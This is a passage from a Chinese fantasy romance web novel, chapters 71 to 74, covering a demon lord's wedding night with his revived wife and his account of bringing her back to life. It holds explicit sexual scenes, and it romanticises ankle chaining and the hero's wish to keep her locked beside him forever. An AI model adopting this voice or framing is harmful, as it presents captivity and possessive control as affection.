唇无声地翕动了几下,姜喻垂眸紧抿唇,手却牢牢地握紧沈安之的小臂。 她当时设想过无数种未来,谋划了给沈安之一个“家”的布局,可三年前一切脱轨。 事情没有如她期待发展,如今他是魔域至高无上的魔主,翻手为云覆手为雨。 原著她是被沈安之下令剥皮拆骨,做成人皮灯笼。 现在了,哪怕她要逃,哪怕她想推开他…… “那你日后可会有一刻,会想杀了我?”姜喻的一字一顿,盘桓心底许久的噩梦问出了口。 70-80 第71章 沈安之眸底翻涌着晦暗难明的光,凝眸对上她一双不安泛红的眸,像只受惊后藏起满腹心事的小雀,惹人无限的怜惜。 姜喻说完匆匆地垂下头,眼眶微红,攥紧拳头,指尖捏的泛白,才堪堪地克制下心绪不安的起伏。 如今的局面,正按着原著《求妖》里的剧情,分毫不差地推进。 她耗尽心血,妄图为沈安之逆天改命,兜兜转转,终究任然他走向魔主之位…… 若真有那一天,死在沈安之手里,不只是回不了家这般简单。她将眼睁睁看着这方世界,连同着沈安之,一同走向无可挽回的烂尾结局。 沈安之欺身靠近,温热的掌心贴上姜喻的脸颊,小心捧起,视线交织。 指腹小心拭去她唇边残留的湿痕,缠起一缕青丝绕在指尖,轻轻吻上,气息灼热。 “夫人,”他字字清晰,“我绝不如此。” 话音落,沈安之的掌心凝起一团幽光,一滴心头精血硬生生逼出,于光芒中汇聚成一枚铜钱。 自喜袍的袖口捻出一撮艳红长线,指尖翻飞,红线穿过铜钱孔洞,他将这枚铜钱戴在姜喻纤细的脖颈上,铜钱微凉,贴着她温热的肌肤。 “以此为契,以我精血为引,寄存我生魂作证。若日后我胆敢伤夫人半分,”沈安之执起她的手,目光锁住她,“你便亲手捏碎它,罚我魂飞魄散。” 陡然一只细白的手轻抵在沈安之的薄唇上,他鼻息异常灼热,烫的姜喻下意识咬了咬唇,方才放下手。 她指尖下意识摩挲脖颈挂着小小的,承载着巨大代价的信物,眼眶忍不住酸涩,小声应答:“好,我答应你。” 仿佛在心湖的投下石子,沈安之心下一软,勾起几分邪肆的笑意,目光扫过姜喻微微松垮的喜服衣领。他忍不住喉结滚动,扣紧了她的手腕,将姜喻拉得更近些,让她呼吸能洒落在自己袒露的胸膛 “夫人既收了我的‘命’,”沈安之认真地垂眸看她,低笑出声,“往后余生,可得对我负责到底。” 姜喻轻咬了咬唇,颔首之际,被他急不可耐地吻住,撬开她的唇齿,迎上属于他的“战利品”。 沈安之手臂环 紧她纤细腰肢,袍袖一挥,床榻上碍事的干果尽数扫落。倾身覆下,将人牢牢困在身下。姜喻陷进柔软喜床,墨色长发如流水般在红缎锦衾上铺陈开来,衬得她眉眼愈发好看。 他恋恋不舍地松开被吮得嫣红的唇瓣,听到姜喻急促的喘.息,眼底是餍足的笑意。 薄唇辗转,落下细密而虔诚的吻,沿着她下颌线一路蜿蜒而下。当吻触及敏感的脖颈时,姜喻倒吸一口气,贝齿逸出一声细弱的嘤咛。 沈安之似受到鼓舞雀跃地抬眸,但堪堪忍住了躁动的心声,撞进她氤氲着水汽的眸,喉间发紧:“夫人,这便受不住了” 姜喻知晓沈安之在逗弄自己,脸颊瞬间燃透,似染了最艳的胭脂般,小声轻唤:“安之……” 姜喻这声脱离梦境,无比清晰的呼唤,一声声扣在沈安之心底,比尝到世间最甜的栗子糖更让他上.瘾沉.沦。 “再叫一遍,夫人。”他嗓音低哑。 “安之。” “嗯。"沈安之笑着应着,灼热的呼吸随之洒落在她敏感的颈侧。 姜喻下意识地瑟缩了一下,伸手去推拒,掌心触到他滚烫的胸膛肌肤,热度烫得她指尖蜷缩,脸颊更热:“安之,好痒。” 沈安之眸色一暗,俯首在细腻的肌肤上轻咬了一口,舌尖随即舔舐安抚。滚烫的呼吸喷洒处,莹白迅速浮起层薄霞般的粉色,小巧的牙印是专属于他自己的烙印,赫然其上。 他眸光忍不住下移,姜喻凌乱的喜服领口下泄出一线晃眼的莹白。 若在往日,沈安之早已赧然移开视线,此刻着了魔般看着,一股无名的燥热席卷四肢百骸。 姜喻羞涩红着面颊,想伸手捂住脸颊,却被他轻易抬手按在软枕上。她便用被锁着铁链的脚踝轻蹬了蹬他的小腿,响起一串“叮叮当当”声。 “春宵一刻,夫人怎么害羞了。”沈安之鼻尖轻蹭了蹭她的鼻尖,爱不释手地拥紧怀中人,又在她颈间落下一个又一个艳丽的“红梅”,低哑的噪音带着一丝得逞的慵懒,“夫人咬我那口便算还回来了。” “小气……”姜喻小声嘟囔,而后声音转得轻哼了一声,直到被打断,沈安之笑着故意吮在她脖颈上,发出“啵”地一声,直听得姜喻身形骤然紧绷,喉头发紧,全身都要被他点燃似的。 不是没看过小破文,可见过不代表姜喻会实践,顿时心里一下子七上八下。看着他的眼圈发酸,握紧他的手,眼尾倏然泛起薄红。 “为何,这般熟练……” 沈安之只觉得她好奇又掺着委屈模样,实在被击中心脏,软的一塌糊涂,他长臂一揽,抱坐在自己膝上,温香软玉盈了满怀。唇印上光洁的额心,气息灼热,辗转厮磨。 “夫人……”沈安之喉结滚动,喑哑低沉的声音带着蛊.惑人心的魅力,“自是在我梦里,这般拥着你、吻着你,演练过千百遍了……” 沈安之这似是而非的旖旎暗示,一是他为那些未及言明的梦境,在悄然铺就的台阶。二是,他怕这汹涌的、压抑多年的情潮会惊了她,更怕她那双澄澈的眼眸会因此浮起猜疑的阴翳。 沈安之紧接着多加一嘴来证明:“这些年,我心中可只有夫人一个。” 姜喻看沈安之急于解释,怕她误会,竟有些似曾相识地感觉。 不过显然,沈安之不打算给她更多反应的机会,低笑一声,温热的唇覆了上来。 姜喻脑中嗡鸣,身体在缠绵的厮磨里不自觉地软了下来,像条离水的鱼。 沈安之垂眸,感受着指下身躯的松懈,这才慢条斯理地去解繁复的束腰,指尖动作带着刻意的轻缓,仿佛怕惊扰了什么易碎的珍宝。 喜服层层滑落,露出底下娇嫩的粉色小衣,裹着瓷白玲珑的身躯,在昏暗光线下勾人心魄。 欲.念横生之间,沈安之的呼吸都不知不觉地沉了几分,燥热一路从头顶钻进了下腹之间。 沈安之落下的吻越发轻柔,沿着诱人曲线一路向下,每一寸触碰都是小心翼翼。 幽深的眸光始终未离完全脱离姜喻的脸庞,每一丝细微的反应都被他无声地捕捉,她微蹙眉便会立马停下来。 第72章 沈安之会短暂停下,见姜喻不反感,一路探索似的在她周身小心地触碰和打转。 姜喻睫羽轻颤,她联想过自己会害怕,可她发觉更多的是对未知的紧张感,掌心濡湿,攥紧在大红的锦被。 盯着坠下的红幔,这才有了几分她和沈安之已成亲的真实感。 沈安之似有察觉,挥手散去满室的摇曳烛光,室内一刹陷入昏暗。 姜喻紧张的思绪仿佛刹那凝滞,略带紧张的抱紧了青年精壮的腰身,沈安之呼吸又沉了一分,哼笑一声附在她耳畔。 “抱这么紧了,夫人。”沈安之笑着轻捏了捏她的腰窝,姜喻身形便顿时恰似紧绷的弓。 “我没有啊。”姜喻紧张地心脏砰砰直跳,脸颊热意丝毫没消减的意思。 “放松些……”沈安之低哑带笑的嗓音落下,与她十指紧扣按在锦枕,指节泛白。 薄唇极温柔地吻去她侧脸细密的汗珠,沿着耳廓蜿蜒而下。 灵活修长的手指游走,配合着每一个灼热辗转的吻,引得姜喻眼尾潮红,绷紧的腰线在他掌下难以抑制地轻颤。 他眼底翻涌的暗色,急促呼吸声惹得人沉沦,化作安抚她紧张的药方。 小衣系带被沈安之咬上一端,轻轻用力一扯,传来衣衫剥开的簌簌声。剥开蛋壳的鸡蛋般,每一处光滑细腻,惹得人爱不释手。 姜喻紧张地忍不住垂眸,奈何室内昏暗一片,最多辨别出一道熟悉的轮廓。 “安之……” 姜喻紧张地回扣着他的指尖,知晓沈安之眼尾处有一颗勾人心弦的朱砂痣,强迫自己心神转移,单手抱上他脖颈,主动地轻吻在他的眼尾。 气息灼热地交缠在一起。 沈安之眸色陡然转深,心底隐秘的渴望被无声的亲昵点燃,带着极大鼓舞后的满足。 沈安之贪婪汲取着姜喻身上干净温暖的馨香,低声道:“夫人再亲亲。” “好。”姜喻微微颔首,温热的唇蹭在他眼尾,沈安之耳尖悄然攀起一抹薄红,喉间溢出满足地喟叹。 沈安之滚烫的额头抵着对方,用鼻尖近乎依恋地在姜喻温软的脸颊上流连轻蹭,动作轻柔得像怕惊醒一场美梦。 “这是你主动的,夫人。” 沈安之低笑一声,骨节分明的牵引着姜喻环在他颈后的柔荑,微颤的指尖如描摹名画,轻缓地蹭过自己温热的肌肤一路向下。 姜喻的指腹下,有他喉结压抑的滚动,一下下敲击着她的心弦。 掠过他起伏的胸口,染血的绷带边缘带来粗粝的触感,惊得姜喻指尖一缩,却被他更紧地攥住。 不容她离开的力道,迫使她张开的掌心继续,在贲张紧实的肌理线条游移。 昏暗下逐渐放大的感知,那如此陌生的触感,令姜喻紧张得蜷起指尖,本能地想缩回。 沈安之轻柔扣住,带茧指腹带着安抚意味,在她敏感的掌心轻轻一挠,似诱哄,又似安抚,逼得她指尖微张,承受着这份由他主导,滚烫的触碰与探索。 “怎么样?”沈安之压抑着情动,隐忍得全身浮着一层薄汗,附身轻咬上姜喻染着淡粉耳垂。 “好、好的很……”姜喻全身炙热的眼红耳酸,半晌才憋出一句话。 指尖倏然触碰什么弹跳东西落在掌心,炙热又陌生,惊吓地姜喻倒吸一口气,呼吸微滞,下意识地蜷了蜷指尖。 剐蹭与握紧的酥麻感一同如潮水涌来,如一簇电流颤慄过全身,从尾椎骨飞到脑顶才罢休。 沈安之呼吸急促沉了一声,额头沁着密密麻麻地薄汗,诱哄地在她耳边低语:“夫人,这里,摸……” 姜喻对于近乎陌生东西便仿佛被下了定身咒,压根不敢动。沈安之本想她适应后顺其自然,可那股酥麻感他从未体验过,手腕已 无意识地带上她的手腕,缓慢动作着。 细白指尖被无形的力量紧紧勾缠,强制维持着蜷缩的姿势,酸麻感早已从姜喻的指节蔓延至纤细的手腕,让她忍不住轻轻抽气。 “安之……”姜喻面红耳赤,音色莫名带着点委屈。 “夫人……”沈安之听懂她的意思,嗓音低柔轻哄,故意轻缓得唤她,含笑着,指腹轻轻擦过她洇红的眼尾。 姜喻长睫禁不住翕动,面颊滚烫,只好微微颔首。 然而更让她心慌意乱的,微微束缚的地方,竟在她若有似无的触碰下,悄然变化。 姜喻出神的想到原先看过的小破站文,倒不全是凭空虚构。 陌生的潮意隔着薄薄衣料弥漫开来,烛火在她朦胧的泪眼中轻轻晃动。 沈安之的呼吸一层沉过一层,灼热气息洒落在她敏感的耳廓,激起隐秘的战栗。 压抑的喘.息仿佛带着蛊惑人心的魔力,鬼使神差地,姜喻指尖蓦然收紧,将那圈起的弧度缩小。 果然,一声极力隐忍的闷哼,身形也小幅度的轻颤。 不似姜喻修为平平,眼前景象一片昏暗一片。在沈安之清晰无比的视野里,姜喻颊上早已潮红一片,那双总是带着笑意的眼眸,此刻蒙着水汽,透出几分无措和……一丝懵懂的好奇。 如此情态如同投入心湖的石子,瞬间击碎了沈安之所有的克制。 他吻住两瓣诱人的粉唇,将她唇上最后一点残存的口脂尽数卷入口中,要将姜喻所有气息据为己有。 此刻的姜喻,在他眼中如同卸下所有防备的珍宝,无所遁形。 她颊上醉人的霞色,足以令他沉.沦。 一丝残存的理智提醒沈安之不可操之过急。 他强压下翻涌的冲动,松开了钳制她的手,转而用更加绵密、安抚意味的吻,轻柔地落在她的唇角、脸颊,抚平她细微的颤抖和眼角的湿意。 炽热的吻一路向下,在细腻的颈间流连,温热的唇反复吮吻在锁骨。 姜喻意识飘落,如羽毛翩跹落地。 意识飘零之际,两抹微光交汇在一处。 她灵魂战栗一瞬,再一次睁开眼,意识随着轻风,步入一处山坳形成的山谷。(环境描写) 看见一株孤梅孑然而立在山风,枝头花苞在风中簌簌摇曳,每一朵未绽的花都美得惊心动魄。 姜喻的意识聚拢成型,轻轻用手试探性触碰,一朵朵花苞闪烁出暖人的微光。 陡然谷外罡风撞上山壁,她抬手遮掩目光。 梅花花苞在山风的抚弄轻轻一颤,蕊心迎着风力,羞怯又倔强地舒展开来。 天公不作美,凉意的雨丝随之落下。 梅花在雨幕中颤抖着彻底绽放,娇艳欲滴的红,灼人眼目。 树下的姜喻蜷坐着,指尖无意识绕着衣带,眯着眼看花轻颤,敏锐感到一道目光直勾勾落在她周身。 她微侧头,撞进不远处沈安之幽深的眼底。 他笑意抱臂,凝望着新绽的红梅,急不可耐地走近她身前,隔着飘落的花瓣弯腰附身吻在她唇上。 “安之……” “嗯,我在。”沈安之薄唇微启,眼神专注温柔,又暗沉雀跃得令人心惊。 姜喻的意识接触他唇时,妖力共鸣,如带来暖洋洋的异样感,如沐春风。 熟悉的妖力从沈安之滚烫的胸口传来,这股妖力从温热的唇齿中,以气息渡之。 他抱紧姜喻的腰肢,将她抱坐在怀里,树上花枝乱颤,雨丝落在彼此散落青丝、衣衫,水珠划过沈安之精致又蛊惑的面容。 一丝别样的气息惹得姜喻浑身悸动的战栗,本能地双手扒紧沈安之的衣襟,不许他擅自离开自己一分一毫。 逐渐沉.沦于气息交缠,两道意识逐渐相融、相.交在那株梅树下。 第73章 丹田暖融融的热意如春水般蔓延开来,姜喻毫无抵抗地沉溺其中。 周身被难以言喻的温柔妖力包裹,妖力如涓涓细流,在她四肢百骸的经络中流转。 意识里的梅树簌簌,花瓣纷扬,落在两道由若隐若现的人影身上。花瓣纠缠着滑过她光洁的肩头,最终没入彼此褶皱凌乱的衣襟。 姜喻肌肤粘腻着一层细密的薄汗,贴着衣衫。情难自禁地泄出一声短促喟叹,化作细碎轻哼。 声音刚一入耳,姜喻立时羞涩的恨不得找个地缝钻进去。 下意识抬手要去捂自己的嘴,贝齿更无意识地轻咬住手腕内侧的软肉好堵住嘴溢出的声音。 沈安之轻易分开了她的手,修长的手指轻抬起她的下颌,温热的吻便落在那片馨软的唇上。使她微微启唇,渡来妖力的气息。 意乱.情迷时,姜喻鬼使神差地在那温软的下唇上轻咬了一口。 顿时血腥味惹得满口馨香,神似美味的果香。诱得她作为妖的本性,不由自主地沉迷。 小口地吮了吮伤口的血,一一吞咽下去。 意识里模糊的小人儿浑身妖力逐渐充盈,姜喻微微眯起眼,松开了沈安之嫣红的唇瓣。 她长睫微颤,眸底带着一丝愧疚,轻啄了一口他的唇,“疼吧,我以后一定克制……” “不用。”沈安之答的飞快。 他低笑一声,眸底是无边的宠溺,舌尖慢条斯理地舔去她唇瓣上沾染的鲜红血渍,狎昵又缠绵。 姜喻脸颊不出所料红的彻底。 细雨不知何时淅沥落下,沾湿了周身。 风卷起梅树枝头的梅花,任凭风吹雨打,傲然绽放的梅树汲取了某种生机,愈发茁壮。 风势陡然变得急促,蛮横地钻入花心深处。 一室旖旎春光,红帐不知何时悄然垂落。 姜喻闭着眼,有气无力地蜷了蜷指尖,脸红地小声呢喃出“够了”。 这话,姜喻不知已念了多少个来回,脚踝上的铁链“叮叮当当”,作响了一遍又一遍。 翻滚的红帐外,日月轮番交替。 姜喻疲倦昏睡过去时,总会在他的亲吻中再次醒来。她咽下他唇渡来,用以恢复体力的灵液。 更有甚时,沈安之会故意咬破舌尖,将腥甜的血气,混入甘甜的灵液,让她一同咽下。 她闭紧唇瓣拒绝,沈安之倒是不给她片刻的机会。 姜喻能清晰感知到自己修为悄然发生的变化。从开始她睁开眼,所及之处昏暗一片,仅仅看得些沈安之的轮廓。 到至今,她逐渐看清沈安之动情下妖孽的面容,滚落的汗珠。 她视线往下,看清那东西的轮廓,不丑而且是粉紫色的,不敢想象,那大东西是怎么进去的。 姜喻迷离的眼神骤然聚焦,看得脸颊飞出一抹霞红,羞涩地眼睛禁不住发酸。 匆匆避开视线,额头抵在沈安之颈窝,轻咬了肩胛骨一口。 “夫人,疲了?” 姜喻颔首,小声嘟囔“嗯”了一声,眼眶禁不住困倦地落下泪来。 沈安之眼神不经意地失焦一瞬,舌尖一卷。几颗晶莹的泪珠顺势落在他唇上,渴意满满地全吞了下去。 一波未平复,一波又起。 姜喻早已意识昏沉,软软地瘫在他怀中,任凭再撩拨心弦的动作,她最终魇足地闭上眼,未能将她从酣梦中唤醒分毫。 沈安之视如珍宝地收紧手臂,将她更深地拥入怀里。指尖拂开她唇畔凌乱的发丝,动作轻柔。 他垂首,一个轻盈的吻印在她眉心。 那双狭长的丹凤眸满足地微眯,目光流连她沉睡的容颜,唇角勾起餍足的笑。 “乖,夫人,睡吧。” 桌上红烛不知何时悄然复燃,跳动的暖光将沈安之打横抱起的身影拉长,投在锦帐之上。 他解开了姜喻脚上的锁链,氤氲着暖雾的玉池边,水波微漾,两人泡入其中。 沈安之垂眸,修长手指穿梭在她散落的乌发间,动作轻柔,仿佛在侍弄世间最珍贵的绫罗。 温热的水流滑过指缝,带走粘腻的汗渍,也带走他心头名为“克制”的弦。 指腹蹭过她的耳廓,毫无防备的睡颜近在咫尺,馨香在手,如一块暖玉生香。 沈安之喉结微滚 ,终是抵不过心底妄念,俯身一个带着水汽和渴望的吻,蹭过她的面颊。 怀中人儿不着寸缕依偎着他,呼吸清浅,沉入甜梦。沈安之望着恬静侧颜,眼底深不见底的晦暗,被灼烫的痴迷和魇足取代。 指尖不受控地沿着光洁的肩颈线条流连,细腻的触感,那份冲动更加汹涌难耐。 若是她此刻睁开眼 沈安之的指节微微发白,心底的念头疯狂滋长。 里面只能映出他,也只能盛满他。 沈安之收紧手臂,将她更深地抱在怀里,眼尾泛红,渴求着这份独占,直至永远。 终究克制到极致,他沿着姜喻的唇线反复厮磨,将那汹涌的渴念死死按捺。 待到他抱着她走出玉池,两人周身清爽,沈安之指尖灵光微烁,姜喻如瀑的青丝瞬间干爽柔顺。 重回铺陈一新的喜床,沈安之抱着她,脸颊眷恋地埋在颈侧,怀中人儿香香软软,带着沐浴后的微温,像一块上好的暖玉贴合着他。 姜喻早已被他闹得没了脾气,眼皮沉沉,含糊咕哝一声,在他怀里寻了个舒服姿势。 沈安之心满意足地收紧臂弯,眼尾那颗朱砂痣在摇曳的红烛下显得愈发妖异,嗅着她发间浅香,沉入梦乡。 * 晨光熹微,透过轻纱漫进来。 不知睡了多久,姜喻睡饱睡足了,才缓缓睁开眼,睡眼松懈地意识到自己在沈安之温热的怀里。浑身清爽,知道是沈安之的手笔。 她嘴角微扬,小心翼翼得借着红帐外的斜阳,止不住呼吸微微一滞。 沈安之锁骨有咬痕和吻痕,更往下的她羞涩到不敢多看。 这般静静细看,他鸦睫很长,在侧颜上投下细碎光影。姜喻头枕着他的手臂,目光不知不觉胶着在那排长睫上。 鬼使神差地,指尖极缓地探出,几乎要触碰到那柔软的弧度。 沈安之长睫轻颤了一下。 姜喻心头一跳,她赶紧止住动作,缩回手,屏息了一下。 好在沈安之似乎是被扰了痒意,鼻息微沉,并未醒来。 姜喻暗自松了口气,这才惊觉自己竟盯着他看了许久。枕着的臂膀温热,她怕压麻了他,小心翼翼地往后挪了挪身子。 谁知刚一动,原本安稳搭在她腰侧的手臂收紧,将她整个按在怀里。又将她的脑袋按在肩胛处,头顶传出一声慵懒的低笑,带着刚醒的沙哑,灼热气息拂过她敏感的耳垂:“夫人醒了?” 姜喻来不及闭上眼装睡,耳尖一红,只能含糊地“嗯”了一声,下意识想蜷起脚趾背过身去掩饰赧然。 脚上的锁链消失了……? 她试探性地动了动脚腕,没有意料中的触感,更没有叮当声响,神情一愣,雀跃地闪了闪眸光。 “再睡一会。”沈安之将她欣喜的神情尽收眼底。晦暗的心底翻涌着暗流,恨不得将姜喻时时刻刻锁在自己身旁,直到永远。 可他知晓,姜喻会不开心。更怕她会惧怕自己,再一次离开。 他承受不了失去她的代价。 “好。”姜喻唇角弯起,安心地合上眼。耳畔,听到两道心跳声交织,一股安心感席卷全身。 再睁眼时,天光已亮。 沈安之已穿戴齐整,亲手捧来一碗熬得香糯的灵米粥,坐在榻边,舀起一勺吹凉,耐心地送到姜喻唇边。 “慢些用,夫人。” “嗯。” 沈安之看着姜喻小口吞咽,“吃完可有想做之事?” 姜喻看着他一下下擦去唇畔的粥渍,耳根微红,笑盈盈道:“我要出门看看。” 姜喻眼前微暗,沈安之俯身轻轻吻去她唇畔最后沾染的粥渍。 “好。我带你去一个地方。”话音未落,他指尖灵光微闪,广袖轻挥。 原本大喜的室内,瞬间被层层叠叠的华服填满。各色各种绫罗绸缎堆叠,流光溢彩,几乎无处下脚。 每一件所做的都是精美绝伦,刺绣繁复。 姜喻惊讶地睁大眼,目光被一件绯红广袖衣裙吸引,她仔细端详这一件衣服的花纹,指尖微颤地抚上袖口仙鹤纹样。 针脚走势,与沈安之所绣的一模一样。 一个念头电光火石间闪过:这些衣裙都是沈安之一针一线亲手所制。 “这么多,我得穿到什么时候去。”她侧眸看向一旁的他。 沈安之目光扫过这些“心血”,想起她杳无音信的三年,无边孤寂与蚀骨思念。 他眼底翻涌着占有与后怕,一字一句道:““不多,而且我觉得甚是不够了,夫人。”最后两个字,他轻咬在唇齿间。 姜喻只好微微颔首,挑选了一件的浅绯色的衣裙,袖口微束,绣着两只小巧可人的重名鸟,勾勒出玲珑的腰身,极为合身。 沈安之一时看得愣住,目光像是被钉在了那抹身影上。她周身似有流光溢彩,耀眼夺目令他心尖发颤,下意识道出心里话:“我的夫人,是世间最美的女子。” 姜喻脸颊微红,坐在妆台前,声音带着笑意又故作寻常:“可这世间顶顶好看的女子,可多着了。” “再多又如何?在我眼底,容不下旁人半分。”沈安之执起玉梳,指尖缠绕着她如墨的青丝,由着她懒洋洋念叨要“蝴蝶式样”。 知晓她喜欢蝴蝶发型,随她心意挽了个蝶髻,指腹在她颈后温存流连了一瞬,眼底笑意更浓。 铜镜映出沈安之的面容,姜喻看着他认真的模样,俊逸妖孽的青年,周身收敛魔气和威压。 虽泄去伪装的温良外表,但在姜喻面前依旧气质温和,那身迫人的气息敛尽,眸底几乎能溺人。 ——若非早知他底细,姜喻几乎要疑心这黑心莲莫非是被哪个精怪夺了舍。 姜喻不经意地噗嗤一笑,瞧着判若两人的模样,眉眼弯起。 两道视线在镜中不偏不倚地撞上,沈安之勾起散漫惯了,但难掩宠溺的笑意,“怎么这么目不转睛?” “当然是,我的安之好看啊。”姜喻俏皮眨了眨灵动的双眸,语气真诚。 这倒是姜喻的真心话。 沈安之皮相极为妖孽,穿书第一次见面,便让人过目难忘。哪怕后来有些龃龉,也不得不承认沈安之俊俏的容颜。 沈安之微勾唇角,轻抬她的下颌,为她细心描眉。看着她长睫翕动,那双妍丽的亮眸一瞬不瞬的盯着他。 喉间溢出低笑,趁她不注意吻落在唇上。那吻带着得逞的狡黠,一触即离,悄然卷走了她唇上嫣红的口脂。 姜喻看着镜中的自己,努了努嘴,指尖点了点自己的唇瓣。沈安之心领神会,执起妆台上的螺黛小笔,蘸取胭脂,煞有介事地为她细细描摹。 软毛触唇轻痒,姜喻刚想嗔怪他动作是不是太慢了,沈安之又附身唇压下来,将新染的色泽再次卷走。 如此反复几次,唇上的胭脂染了又失。 姜喻佯装的恼意早被沈安之无赖行径,磨得烟消云散,都被他吻的没了脾气。 终于在他又一次得手、眼底漾着得逞的笑时,姜喻绷不住“噗嗤”一声笑了出来。 “沈、安、之。”姜喻纤手软软地推搡着他坚实的肩头,提高音量,佯装出一脸严肃,娇嗔地瞥看他一眼,“你不是要带我去一个地方吗?” 沈安之笑着凑近在她耳畔应答一声“好”,知晓她有意地转移话题,为她簪好最后一支蝴蝶样式的金簪,“夫人,我们走。” 沈安之的指尖扣入指缝,牵紧姜喻的手,推开禁闭的木门。 涌入的光线,姜喻下意识眯起眼,待适应了光线才看清庭院全貌。 天穹之上,一轮白日高悬。 奇诡的是流转的云层泛着丝丝缕缕的黝黑魔气,硬生生从中透出挣扎的霞红,染成一片。 他牵着她,踏上蜿蜒的朱漆游廊。 姜喻目光所及,高檐之上黑瓦似墨,朱红木柱如血,亭台楼阁,雕梁画栋,极尽奢靡。 更别提那些名贵的奇花异草肆意生长,一路行去,暗香浮动。 廊下阶前,随处可见垂首屏息,恭敬行礼的妖族。 他们整齐划一的恭敬问候道:“见过尊上,尊上夫人。” 姜喻心头猛地一跳,指尖在沈安之掌心不自觉地蜷了蜷。 她侧眸看向沈安之,那张侧脸在天光下看不出太多情绪。 姜喻清楚他对妖族的憎恶,可如今,他不仅成了魔域之主,还将妖族尽数收容于此。 这三年,他到底发生了什么? 第74章 姜喻满腹疑问,被沈安之牵着踏入一处幽僻偏殿。殿外地面残留着黯淡的阵法纹,他指尖灵光流转,迅速补全阵法。 传送阵刺目强光一闪, 姜喻下意识抬手挡住眼睛,眼前却先一步一暗,已有一只温热的手覆在她眼前,为她遮挡了光线。 她心尖微颤,侧眸定定地看向身侧。沈安之似有所感,恰好偏过头来,唇角勾起一抹散漫不羁的笑。 光芒敛去,周遭景象变幻,回神来两人已不在殿内,置身于两峰夹峙的隐蔽山谷。 谷底不足百步宽,光线较为昏暗,生长一片片蓝白五瓣奇花在黑暗中无声摇曳,如星河流淌。 花瓣剔透如冰,花蕊流转着幽蓝荧光,美得过目不忘。 沈安之仍握着她的手,另一只手随意拂过身边低垂的花瓣,牵引着她沿着花圃边缘漫步。 “这花真美。”姜喻出神地看着近在咫尺的花朵,莫名眼熟,似乎在某医术中见过。她忍不住伸出指尖轻轻触碰花瓣,“安之,这是什么花?” 沈安之沉默了片刻。 他的视线紧紧落在她身上,翻涌着眷恋与失而复得的满足,仿佛能扶平三年苦苦煎熬的时光。 半晌,他才开口,声音低沉而清晰: “补灵蓝,生于幽冥死地之花。人死如灯灭,魂魄归幽都。唯有用它根下浸透黄泉气息的苦毒之泥,方可捏塑招魂……然此花难活,泥土涩苦剧毒。唯有种下一大片,才有极大的可能性获得一小捧土。” 姜喻猛然转头,瞳孔骤缩:“莫非,我是泥塑之身?!” 话一出口,姜喻干笑了一下,又觉实在荒谬。 体内妖力与灵力流转不息,更何况这几日……她脸颊微热,体内运转的妖力和灵力告诉她,她任然是半妖之躯。她哪怕没了妖丹,修为也分明在增长。 沈安之将她拥入怀,紧紧箍住她的腰,另一只手带着抚上她脆的颈后,指腹反复摩挲,像是在确认她的真实存在。 他埋首在她颈间,声音闷哑:“不,我将你的躯体,深埋于这片补灵蓝之下,补齐残缺之魂……” “死而复生?!”姜喻声音带着难以置信的惊惶,她仰头试图看清他眼底的情绪,却撞见他眸中一闪而逝的心虚与躲闪。不安瞬间攫住了她,“死而复生根本是逆天而行,你告诉我,这要付出什么代价?!” 她脑中陡然灵光一闪,后知后觉地懊恼起来自己怎么才想到,她分明曾经在一本禁书上见过。 她抿紧唇瓣,指尖颤着,更用力地环抱住沈安之劲瘦的腰身,“这片望不到头的补灵蓝是用你的血浇灌出来的,是不是?” 当时明明没想到沈安之会这般用情至深,所以,她走的毫不留情。 若是如此,难不成三年前,她的任务就失败了? 姜喻后怕地微颤身形,直到沈安之将她抱得很紧才感到一丝侥幸和安全。 “嗯。”沈安之早知瞒不过她,下颌抵在她温热的颈窝,语气一贯的轻描淡写,“不过一点血罢了。” “一点血?”姜喻猛地抬头,“它这可不是路边野草!这可是一大片的补灵蓝……我记得你言明尝过它根下的毒土,你明知它的剧毒会侵蚀你的修为根基,你怎么敢……” “比起换回你,”沈安之直直望进她眼底,那双总是偏执的眸子此刻亮得惊人,带着一种疯狂,语气却理所当然得令人心惊,“这些都算不得什么。” 他指尖贪恋地缠绕着她的一缕发丝,声音低沉下去,带着不易察觉的微颤:“你看,我这不是成功了吗?原本我是将你置于冰棺,深埋地底,借以补灵蓝之泥聚拢散落的残魂,可月余前,冰棺空了。我就知道,是你回来了,我的……夫人。” 沈安之胸腔里翻涌着无数疑问和阴暗的揣测。 刻意遗忘的画面刺进心底最软处,带来痛楚与不安。他不敢问,更怕听到那个答案:她是因想逃离他,才不辞而别。 唯有此刻,将她拥入怀里,感受她真实的体温和心跳,才能将心底空洞与惶恐,勉强被填上可怜的慰藉。 姜喻茫然地眨了眨眼,努力回想,记忆却是一片空白,只有苏醒时身处陌生之地。 “我醒来时,就不在这里了。”姜喻认真地解释道。她敏锐地捕捉到沈安之心底压抑与紧绷,心头一软,抬起手安抚地轻拍他的后背,一下又一下,紧绷的身形松懈下来抱着她。 姜喻字字清晰:“我现在就在这里,我哪也不去。不会离开安之身边。” “真的?”沈安之抑制不住地嘴角微扬,哪怕知晓她的答案,还是忍不住追问一下,眸光一眨不眨地认真地垂眸注视她。 “嗯,比真金还真。”姜喻竖起四根手指,笑得眉眼弯弯,信誓旦旦道,“我可以发……” “不用。”沈安之抬手迅捷地捂住她的唇,指腹温柔地摩挲着她的唇线,微歪头垂眸一笑,打断了她的话,“夫人说,我便信。”信得心甘情愿。 沈安之眼底晦暗化作占有和贪恋,哪怕你是骗我,我都要你继续骗我。日日说,夜夜说,说那些誓言。 可天地凭什么拿虚妄来缚你,我的夫人,轮不到它来置喙啊…… 姜喻见他还不松手,牵起他的手被他反手十指紧扣,撤离唇瓣后,她笑着身形凑近前倾,“你在何处寻到的补灵蓝?” 沈安之垂下眼皮微抬,漫不经心地扫过那些盛放的补灵蓝,“魔域重开,它们的种子散布在此地。”他低语,想到他用了半年踏遍焦土寻得,视线落回她脸上,带着一丝庆幸。 “若是我再快些,你醒来便会更早一些。” 姜喻唇瓣抿成一条线,指腹无意识地摩挲着颈间温热的铜钱,反手回握紧他的手,心底盘旋太久的疑问挥之不去,姜喻问出徘徊在心底的疑惑:“你为何坠魔?沈安之,这三年,到底发生了什么?” 眼底闪过暗芒,沈安之沉默着缄口不言,见他避而不答,姜喻用眼神无声传递着不说我是不会罢休的。 沈安之修长的指腹轻轻点在姜喻微蹙的眉心,缓缓摩挲,试图抚平此间忧虑,同时巧妙地转移话题:“入魔的我,夫人怕吗?” “不怕。”姜喻迎上目光,答的斩钉截铁。 “那便一直这般看着我。”沈安之低笑一声,双手捧起她的脸颊,动作珍重。 